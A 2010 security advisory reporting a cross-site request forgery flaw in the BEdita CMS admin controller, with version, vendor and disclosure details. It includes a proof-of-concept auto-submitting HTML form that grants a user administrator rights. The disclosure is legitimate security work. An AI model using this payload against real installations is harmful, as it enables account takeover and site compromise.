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XSRF (CSRF) in BEdita
From: advisory () htbridge ch
Date: Wed, 15 Dec 2010 20:21:29 +0100 (CET)

Vulnerability ID: HTB22729
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bedita.html
Product: BEdita
Vendor: Chialab & ChannelWeb ( http://www.bedita.com/ ) 
Vulnerable Version: 3.0.1.2550 "betula" and probably prior versions
Vendor Notification: 30 November 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "bedita-app/controllers/modules/admin_controller.php" script to properly 
verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/bedita-app/admin/saveUser"; method="post" name="main">

<input type="hidden" name="data[User][id]" value="2">
<input type="hidden" name="data[User][userid]" value="tester">
<input type="hidden" name="data[User][realname]" value="tester">
<input type="hidden" name="data[User][email]" value="email () example com">
<input type="hidden" name="pwd" value="">
<input type="hidden" name="data[User][passwd]" value="">
<input type="hidden" name="data[User][valid]" value="1">
<input type="hidden" name="groups" value="">
<input type="hidden" name="data[groups][administrator]" value="on">
<input type="hidden" name="data[groups][guest]" value="on">
</form>
<script>
document.main.submit();
</script>




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